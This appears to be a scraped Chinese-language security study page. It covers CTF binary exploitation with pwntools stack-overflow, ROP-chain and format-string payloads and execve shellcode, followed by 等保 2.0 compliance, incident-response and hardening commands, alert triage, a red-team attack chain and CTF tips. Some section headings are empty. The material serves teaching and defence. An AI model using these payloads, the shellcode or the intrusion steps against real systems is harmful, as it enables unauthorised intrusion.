p.recvuntil(b"Enter: ")       # 接收直到匹配
p.recvline()                  # 接收一行
p.interactive()               # 交互模式（获取 Shell）

# 溢出利用
payload = b"A" * 44             # 填充到返回地址
payload += p32(0x08048520)     # 覆盖返回地址为后门函数
p.sendline(payload)

# 构造 ROP 链
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
bin_sh = next(elf.search(b"/bin/sh"))
system = elf.plt["system"]
rop.system(bin_sh)
payload = fit({44: rop.chain()})
p.sendline(payload)

# 格式化字符串漏洞
p.sendline(b"%p." * 10)        # 泄露栈数据
p.sendline(b"%7$s".encode() + p32(elf.got["puts"]))  # 任意读
p.sendline(b"%7$n".encode() + p32(target_addr))  # 任意写

ROP 链技术 (Return-Oriented Programming)

当 DEP/NX 开启后，栈上的 shellcode 无法执行。ROP 通过拼接程序中已存在的代码片段(gadget)实现任意功能。

# ROP 基本原理
# gadget = 以 ret 结尾的一小段指令
# 例如：pop eax; ret → 将栈顶值弹入 eax

# 构造 execve("/bin/sh", 0, 0) 的 ROP 链
payload  = b"A" * 44                    # 填充
payload += p32(pop_eax_ret)          # gadget: pop eax; ret
payload += p32(0xb)                  # eax = 11 (execve syscall)
payload += p32(pop_ebx_ret)          # gadget: pop ebx; ret
payload += p32(bin_sh_addr)          # ebx = "/bin/sh" 地址
payload += p32(pop_ecx_ret)          # gadget: pop ecx; ret
payload += p32(0)                    # ecx = 0
payload += p32(pop_edx_ret)          # gadget: pop edx; ret
payload += p32(0)                    # edx = 0
payload += p32(int_0x80)             # int 0x80 → 触发 syscall

格式化字符串漏洞

// 漏洞代码
printf(input);  // 用户输入直接作为格式化字符串

# 信息泄露
# %p 泄露栈数据，%x 泄露十六进制
input = "%p." * 20   # 泄露栈上 20 个值
input = "%7$s" + p32(target_addr)  # 读任意地址

# 任意写
# %n 将已输出字节数写入参数指向的地址
input = "AAAA%7$n" + p32(target_addr)  # 写 4 到 target_addr
# %hhn 写单字节，%hn 写双字节

# pwntools 自动化
fmt = FmtStr(execute_fmt, offset=7)
fmt.write(target_addr, 0xdeadbeef)
fmt.execute()

堆漏洞利用

现代防护机制与绕过

# checksec 查看保护
checksec ./binary
# 输出示例：
# NX: enabled → 不能在栈上执行代码，需要 ROP
# Canary: found → 需要泄露 Canary
# PIE: enabled → 需要泄露程序基址
# RELRO: Full → GOT 不可写

Shellcode 编写

# 32 位 Linux execve("/bin/sh") shellcode
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"  # xor eax,eax; push "//sh"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"  # push "/bin"; mov ebx,esp; push eax
    b"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"  # push ebx; mov ecx,esp; xor edx,edx
    b"\x80"                                 # mov al,11; int 0x80
)

# pwntools 自动生成
from pwn import
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())      # 64 位 shellcode
shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))

等保 2.0 是中国网络安全的基本制度，所有政企信息系统必须按等级进行安全建设和测评。

等级划分

三级等保核心要求

• 物理安全：机房门禁、温湿度控制、防雷防火
• 网络安全：边界防护、访问控制、入侵防范、恶意代码检测
• 主机安全：身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范
• 应用安全：身份认证、通信加密、软件容错
• 数据安全：数据完整性、保密性、备份恢复
• 安全管理：管理制度、人员管理、建设管理、运维管理
• 日志留存：≥ 6 个月网络日志留存
• 应急预案：安全事件应急响应预案

服务器被入侵、中勒索病毒、数据泄露后的排查流程。应急响应是安全运维的核心技能。

应急响应六步法 (PICERL)

常见应急场景排查

# Linux 入侵排查
last                            # 查看登录历史
grep "Accepted" /var/log/auth.log  # 查看成功登录
cat ~/.bash_history              # 查看命令历史
ps aux | grep -E "nc|bash|python"  # 可疑进程
netstat -tunlp                   # 异常网络连接
crontab -l                      # 检查定时任务
cat /etc/rc.local                # 检查自启动
find / -mtime -1 -type f         # 查找最近1天修改的文件
strings 可疑文件 | grep -i "http"  # 提取字符串找C2地址

# Windows 入侵排查
net user                        # 检查新增用户
net localgroup administrators   # 检查新增管理员
tasklist /svc                    # 可疑进程
netstat -ano                    # 异常连接
schtasks /query /fo LIST /v    # 检查计划任务
reg query "HKLM\...\Run"      # 检查自启动
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625}  # 暴力破解痕迹

勒索病毒应急

1. 立即隔离：断网但不要关机（内存中可能有解密密钥）
2. 保留证据：不要删除加密文件和勒索信
3. 识别类型：上传样本到 https://id-ransomware.malwarehunterteam.com 识别
4. 查找解密工具：检查 https://www.nomoreransom.org 是否有解密器
5. 排查入口：分析入侵途径（RDP爆破/钓鱼邮件/漏洞利用）
6. 清除后门：排查并清除攻击者留下的后门
7. 恢复数据：从备份恢复，无备份则等待解密工具
8. 加固整改：修补漏洞、加强口令、启用 MFA

云安全核心知识

# 1. SSH 加固
vi /etc/ssh/sshd_config
PermitRootLogin no                    # 禁止 root 直接 SSH
PasswordAuthentication no             # 禁止密码登录，只允许密钥
Port 22222                            # 修改默认端口
MaxAuthTries 3                        # 限制认证次数
AllowUsers user1 user2                # 限制可登录用户
systemctl restart sshd

# 2. 密码策略
vi /etc/login.defs
PASS_MAX_DAYS 90                      # 密码最大有效期
PASS_MIN_DAYS 7                      # 密码最短使用天数
PASS_MIN_LEN 12                     # 最小密码长度
vi /etc/pam.d/system-auth
password requisite pam_cracklib.so try_first_pass retry=3 dcredit=1 ucredit=1 ocredit=1 lcredit=1

# 3. 文件权限加固
chmod 600 /etc/ssh/sshd_config
chmod 644 /etc/passwd
chmod 000 /etc/issue
chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow  # 不可变属性

# 4. 禁用不必要的服务
systemctl disable telnet.socket
systemctl disable rsh.socket
systemctl disable rpcbind

# 5. 防火墙配置
firewall-cmd --permanent --add-rich-rule="rule service name=ssh limit value=3/min accept"
firewall-cmd --permanent --add-service=https
firewall-cmd --permanent --set-default-zone=drop
firewall-cmd --reload

# 6. 审计日志
auditctl -w /etc/passwd -p wa -k user_modify
auditctl -w /var/log/ -p wa -k log_access

# 1. 账户策略
secedit /export /cfg policy.cfg     # 导出安全策略
# 密码长度 ≥12, 复杂性开启, 最长有效期 90 天
# 账户锁定: 5次错误后锁定 30 分钟

# 2. 关闭危险端口
netsh advfirewall firewall add rule name="Block135" dir=in action=block protocol=TCP localport=135
netsh advfirewall firewall add rule name="Block445" dir=in action=block protocol=TCP localport=445
netsh advfirewall firewall add rule name="Block3389" dir=in action=block protocol=TCP localport=3389

# 3. 禁用危险服务
sc config RemoteRegistry start= disabled
sc config Telnet start= disabled
sc config WebClient start= disabled

# 4. 开启审计
auditpol /set /category:* /success:enable /failure:enable

# 5. RDP 加固
# 网络级身份验证(NLA)、限制可登录用户
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f

# 告警研判五步法
1. 确认告警类型 → SQL注入？爆破？WebShell上传？
2. 分析攻击源 IP → 归属、历史恶意行为、是否扫描器
3. 分析目标资产 → 是否核心系统、是否已沦陷
4. 评估攻击结果 → 成功？失败？误报？
5. 处置响应 → 封IP？封账号？隔离主机？提交报告？

# 常见告警类型及研判要点
# SQL注入：检查响应码、响应长度、WAF是否拦截、数据库是否有异常查询
# XSS：检查payload是否到达前端、是否触发执行、是否带cookie外传
# 暴力破解：检查失败次数、频率、来源IP、是否最终成功
# WebShell上传：检查文件名、文件内容特征、访问频率、是否命令执行
# 异常外连：检查目的IP、端口、协议、是否C2地址、是否有数据外传

红队攻击链

# 典型红队攻击路径
1. 信息收集 → 子域名、端口、指纹、人员信息
2. 外网打点 → 0day/Nday漏洞利用、钓鱼邮件、社工
3. 获取权限 → WebShell / 反弹 Shell
4. 内网渗透 → 提权、凭证抓取、横向移动
5. 目标达成 → 拿下核心系统、获取 flag
6. 权限维持 → 后门、隧道、隐藏账号
7. 痕迹清理 → 清日志、删文件

蓝队监控与研判

• 流量监控：全流量分析设备 (NTA)、IDS/IPS 告警
• 告警研判：区分误报与真实攻击，分析攻击链
• 漏洞封堵：WAF 规则、IPS 规则、热补丁
• 溯源反制：分析攻击 IP、攻击者画像、反制

Web 题常见考点

Pwn 题常用技巧

# 1. 基本栈溢出 → ret2text
# 找溢出偏移量 → 覆盖返回地址 → 跳到后门函数

# 2. ret2libc / ret2plt
# 泄露 libc 地址 → 计算 system 和 /bin/sh 偏移 → 构造 payload

# 3. 格式化字符串漏洞
# 泄露栈/canary/PIE → 任意地址写 → 劫持 GOT 或返回地址

# 4. 堆利用
# Fastbin Attack → 伪造堆块 → 任意地址写
# Tcache Poisoning (glibc 2.27+) → 篡改 tcache 链表
# House of Spirit → 伪造 free chunk → 分配到任意地址
# House of Force → 覆盖 top chunk size → 分配到任意地址

# 5. 静态/动态链接
# 静态链接 → ROPgadget 多 → 直接 syscall
# 动态链接 → ret2libc → 需泄露 libc 版本

Reverse 题常用技巧

# 1. 找关键函数 → 看 main → 找 check/encrypt/verify
# 2. 算法识别 → 常见加密（XOR/RC4/AES/TEA/Base64）
# 3. 动态调试 → 在比较处下断 → 回溯算法
# 4. 修补程序 → 直接 patch 跳转指令 → 暴力过验证
# 5. 常见反调试 → IsDebuggerPresent → patch 或 hook

# Crypto 常见考点
# RSA: 共模攻击、低指数攻击、Wiener、Coppersmith
# AES: ECB/CTR 模式攻击、Padding Oracle
# LFSR: 已知明文还原
# 椭圆曲线: Pohlig-Hellman、Smart's Attack

# Misc 常见考点
# 隐写: LSB、文件结构、频域隐写
# 流量: HTTP文件提取、USB键盘流量、蓝牙
# 取证: 内存(Volatility)、磁盘(Autopsy)、注册表
# 编码: Base全系列、Malbolge、Brainfuck

CTF 工具速查表

蓝队工作流程

# HW 护网蓝队日常
1. 值班监控 → 实时关注告警面板
2. 告警研判 → 真实攻击？误报？低危扫描？
3. 事件上报 → 发现真实攻击，5分钟内上报
4. 应急处置 → 封IP、停服务、隔离主机
5. 溯源分析 → 分析攻击者身份、路径、手法
6. 复盘总结 → 优化规则、加固防御

溯源反制技术

常见误报排除